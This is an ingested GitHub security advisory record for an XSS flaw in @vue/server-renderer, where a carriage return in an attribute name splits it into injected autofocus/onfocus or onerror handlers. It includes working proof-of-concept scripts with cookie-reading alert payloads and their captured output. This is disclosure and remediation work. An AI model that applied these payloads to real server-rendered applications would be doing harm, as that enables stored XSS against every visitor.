{"id":"GHSA-g2v6-rqmx-r4w6","title":"@vue/server-renderer: XSS via missing CR in attribute-name blacklist","summary":"@vue/server-renderer: XSS via missing CR in attribute-name blacklist","severity":"high","cvss":7.2,"cwe":["CWE-79","CWE-116"],"vendor":"vue","product":"@vue/server-renderer","ecosystem":"npm","affected":["@vue/server-renderer < 3.5.42","@vue/server-renderer >= 3.6.0-rc.0, < 3.6.0-rc.6"],"patched":["@vue/server-renderer 3.5.42","@vue/server-renderer 3.6.0-rc.6"],"published":"2026-10-05","updated":"2026-10-05","sourceUpdated":"2026-10-05T22:50:56Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-g2v6-rqmx-r4w6","references":[{"url":"https://github.com/vuejs/core/security/advisories/GHSA-g2v6-rqmx-r4w6"},{"url":"https://github.com/vuejs/core/pull/15266"},{"url":"https://github.com/vuejs/core/commit/a2b40db9a83b36ed9da3a16403cf8f040262d73f"},{"url":"https://github.com/vuejs/core/releases/tag/v3.5.42"},{"url":"https://github.com/vuejs/core/releases/tag/v3.6.0-rc.6"},{"url":"https://github.com/advisories/GHSA-g2v6-rqmx-r4w6"}],"tags":["ghsa","npm"],"ingestedAt":"2026-10-05T23:36:21.175Z","slug":"GHSA-g2v6-rqmx-r4w6","body":"## Overview\n\n## Description\n\n`@vue/server-renderer` was investigated specifically because it's the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that's already running the app's own JS.\n\n`ssrRenderAttrs()` (in `packages/server-renderer/src/helpers/ssrRenderAttrs.ts`) is what compiled SSR output calls for something like `
`. It loops over the object's own keys and, for each one, renders it as an HTML attribute:\n\n```ts\nexport function ssrRenderDynamicAttr(\n key: string,\n value: unknown,\n tag?: string,\n): string {\n if (!isRenderableAttrValue(value)) {\n return ``\n }\n const attrKey = ...\n if (isBooleanAttr(attrKey) || ...) {\n return includeBooleanAttr(value) ? ` ${attrKey}` : ``\n } else if (isSSRSafeAttrName(attrKey)) {\n return value === '' ? ` ${attrKey}` : ` ${attrKey}=\"${escapeHtml(value)}\"`\n } else {\n console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`)\n return ``\n }\n}\n```\n\nThe value always goes through `escapeHtml()` -- that part is correctly and consistently applied everywhere in this file. But the attribute name (`attrKey`) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own:\n\n```ts\n// packages/shared/src/domAttrConfig.ts\nconst unsafeAttrCharRE = /[>/=\"'\\u0009\\u000a\\u000c\\u0020]/\n\nexport function isSSRSafeAttrName(name: string): boolean {\n if (attrValidationCache.hasOwnProperty(name)) {\n return attrValidationCache[name]\n }\n const isUnsafe = unsafeAttrCharRE.test(name)\n if (isUnsafe) {\n console.error(`unsafe attribute name: ${name}`)\n }\n return (attrValidationCache[name] = !isUnsafe)\n}\n```\n\nThat blacklist covers: `>`, `/`, `=`, `\"`, apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as `\\r` in JS).\n\nThat matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step (\"preprocessing the input stream\") converts every `\\r` not followed by `\\n` into a `\\n` before the tokenizer even starts. So a raw `\\r` sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that's exactly the gap.\n\nBelow is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source:\n\n\"poc1\"\n\n## Prrof\n\nThe real, unmodified  ssrRenderAttrs()  from the published  @vue/server-renderer@3.5.41  package was tested. The source at HEAD and the upcoming  v3.6.0-rc.2  tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified.\n\nFull script, saved as `poc.mjs` (GitHub doesn't let me attach `.mjs` directly, so the complete file is here):\n\n```js\nimport { ssrRenderAttrs } from '@vue/server-renderer';\nimport { parseFragment } from 'parse5';\n\n// This is exactly what compiled SSR output calls for `
`\n// -- the real, unmodified, published ssrRenderAttrs function.\n// Full attack chain: the key itself contains ONLY letters, digits, and a\n// bare \\r (carriage return) -- no '>', '/', '=', '\"', \"'\", tab, LF, FF, or\n// space anywhere, so isSSRSafeAttrName() considers it fully safe. The value\n// is attacker-controlled JavaScript, delivered as the genuine value of the\n// LAST \\r-separated fragment, which Vue's own template naturally appends via\n// `=\"${escapeHtml(value)}\"` immediately after the key.\nconst maliciousKey = 'x\\rautofocus\\ronfocus';\nconst props = {\n [maliciousKey]: 'alert(document.cookie)',\n};\n\nconst rawAttrString = ssrRenderAttrs(props);\nconsole.log('=== Raw string produced by the real ssrRenderAttrs() ===');\nconsole.log(JSON.stringify(rawAttrString));\nconsole.log();\nconsole.log('=== As it would literally appear in the HTML response ===');\nconsole.log(rawAttrString.replace(/\\r/g, '\\\\r').replace(/\\n/g, '\\\\n\\n'));\n\nconst fullHtml = `content
`;\nconsole.log();\nconsole.log('=== Full element HTML ===');\nconsole.log(JSON.stringify(fullHtml));\n\n// Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5\n// parser (the same parsing algorithm real browsers implement, including the\n// \\r\\n -> \\n input-preprocessing normalization step).\nconst fragment = parseFragment(fullHtml);\nconst div = fragment.childNodes.find(n => n.tagName === 'div');\nconsole.log();\nconsole.log('=== How a real HTML5 parser (parse5) actually interprets this ===');\nconsole.log('Attributes parsed on the
:');\nfor (const attr of div.attrs) {\n console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`);\n}\n\nconst injectedHandler = div.attrs.find(a => a.name === 'onfocus');\nconst injectedAutofocus = div.attrs.find(a => a.name === 'autofocus');\nconsole.log();\nif (injectedHandler && injectedAutofocus) {\n console.log('*** CONFIRMED: real, separate \"autofocus\" and \"onfocus\" attributes were parsed out ***');\n console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`);\n console.log('*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***');\n} else {\n console.log('Not confirmed.');\n}\n```\n\nThis is a fresh `npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5` -- the real, currently-published packages, not anything modified:\n\n\"poc2\"\n\nReal, captured output:\n\n```\n=== Raw string produced by the real ssrRenderAttrs() ===\n\" x\\rautofocus\\ronfocus=\\\"alert(document.cookie)\\\"\"\n\n=== Full element HTML ===\n\"
content
\"\n\n=== How a real HTML5 parser (parse5) actually interprets this ===\nAttributes parsed on the
:\n \"x\" = \"\"\n \"autofocus\" = \"\"\n \"onfocus\" = \"alert(document.cookie)\"\n\n*** CONFIRMED: real, separate \"autofocus\" and \"onfocus\" attributes were parsed out ***\n*** onfocus value: \"alert(document.cookie)\" ***\n```\n\n\"poc3\"\n\"poc4\"\n\nThe single attribute name Vue intended to render safely -- `x\\rautofocus\\ronfocus` -- gets parsed by any real browser as three separate things: an empty `x` attribute, a real `autofocus` boolean attribute, and a real `onfocus=\"alert(document.cookie)\"` event handler. `autofocus` means the element receives focus automatically on page load, which fires the `focus` event immediately, which runs the injected JavaScript -- no click, no hover, no user interaction of any kind required.\n\nThis behavior was confirmed not to be specific to the payload by first isolating the mechanism with a minimal case (`\"foo\\rbar\"` as the key, no other special characters at all), which parse5 also split into two genuine separate attributes (`foo=\"\"` and `bar=\"...\"`), before building the full self-triggering payload above.\n\nTo go beyond the parser-level proof, there is a second script that calls the real `ssrRenderAttrs()`, captures its exact return value programmatically, and writes that unmodified byte sequence directly into an HTML file on disk -- no HTML was hand-typed anywhere in this step. Full script, saved as `generate_real_poc.mjs`:\n\n```js\nimport { ssrRenderAttrs } from '@vue/server-renderer';\nimport fs from 'fs';\n\n// This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed\n// @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML,\n// it is Vue's own function's real return value, captured programmatically.\nconst maliciousKey = 'x\\rsrc\\ronerror';\nconst props = { [maliciousKey]: 'alert(\"REAL Vue SSR output executed this -- cookie: \" + document.cookie)' };\n\nconst vueOutput = ssrRenderAttrs(props);\n\nconsole.log('=== Vue\\'s real ssrRenderAttrs() returned exactly this string ===');\nconsole.log(JSON.stringify(vueOutput));\n\n// Build the full page around Vue's UNMODIFIED output -- the tag\n// content between the angle brackets is copied byte-for-byte from vueOutput,\n// not retyped.\nconst html = `\n\nVue SSR PoC -- byte-for-byte Vue output\n\n

Everything inside the <img> tag below was written to this file\nprogrammatically from the real return value of ssrRenderAttrs()\nin the actual installed @vue/server-renderer@3.5.41 package.\nNo HTML was hand-typed for the tag itself.

\n

Exact JSON-escaped string Vue's function returned (see generate_real_poc.mjs, run right before this file was written):

\n
${vueOutput.replace(/\n
\n\n\n\n`;\n\nconst outPath = '/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html';\nfs.writeFileSync(outPath, html);\nconsole.log('\\nWrote', outPath);\nconsole.log('Bytes inside the  tag are Vue\\'s real, unmodified return value.');\n```\n\nOpening that generated file in a real browser fires the payload automatically:\n\n\"poc5\"\n\nDev tools on that same page confirm the browser genuinely parsed three separate attributes (`x`, `src`, `onerror`), matching the on-page proof text that was written directly from Vue's real return value:\n\n\"poc6\"\n\nWhether this affects client-side (non-SSR) Vue rendering was also checked: it doesn't, and I want to be upfront about that limit too. Client-side Vue sets dynamic attributes via the DOM `setAttribute()` API, which validates the name against the HTML QName grammar and throws a `DOMException` for characters like `\"` (I found an existing, unrelated open issue -- #13944 -- that confirms this behavior). That's a fundamentally different code path with its own validation, and I have not found a way to reach this specific bug through it. This is specifically and only an `@vue/server-renderer` (SSR) issue.\n\n## Impact\n\nThis requires an application to bind an object whose keys (not just values) come from a source the developer doesn't fully control, via `v-bind=\"object\"` or the equivalent compiled form. I want to be honest about how common that is: binding untrusted values into attributes is the standard, everyday Vue pattern that's already safely handled by `escapeHtml()`. Binding untrusted keys is less universal, but it's a real, documented, supported Vue feature, not a misuse of the framework -- and it's exactly the scenario `isSSRSafeAttrName()` exists to defend, which tells me it's already inside your own threat model for this file, just not fully closed. Realistic examples: a CMS or form-builder feature where field/attribute names are configurable by a less-trusted role and gets rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper that takes a plain object where both keys and values may originate from external data (a database record, an API response, a query string parsed into an object).\n\nWhere it's reachable, the impact is a complete, self-triggering stored XSS in server-rendered HTML -- the injected `autofocus`/`onfocus` payload runs the moment the page loads, for every visitor who receives that server-rendered output, with no interaction needed. That's a real trust-boundary break in a security-relevant helper whose entire job is making data safe to render.\n\n## Suggested fix\n\nAdd U+000D (carriage return) to `unsafeAttrCharRE` in `packages/shared/src/domAttrConfig.ts`:\n\n```ts\nconst unsafeAttrCharRE = /[>/=\"'\\u0009\\u000a\\u000c\\u000d\\u0020]/\n```\n\nDouble-checking against the full WHATWG \"ASCII whitespace\" definition (tab, LF, FF, CR, space -- all five) rather than enumerating characters one at a time would help, since that's exactly the kind of list that's easy to leave a gap in, which is what happened here.\n\n## Affected packages\n\n- `@vue/server-renderer < 3.5.42`\n- `@vue/server-renderer >= 3.6.0-rc.0, < 3.6.0-rc.6`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `@vue/server-renderer 3.5.42`\n- `@vue/server-renderer 3.6.0-rc.6`","depth":"twilight","depthScore":40,"depthScoreParts":{"impact":39.6,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}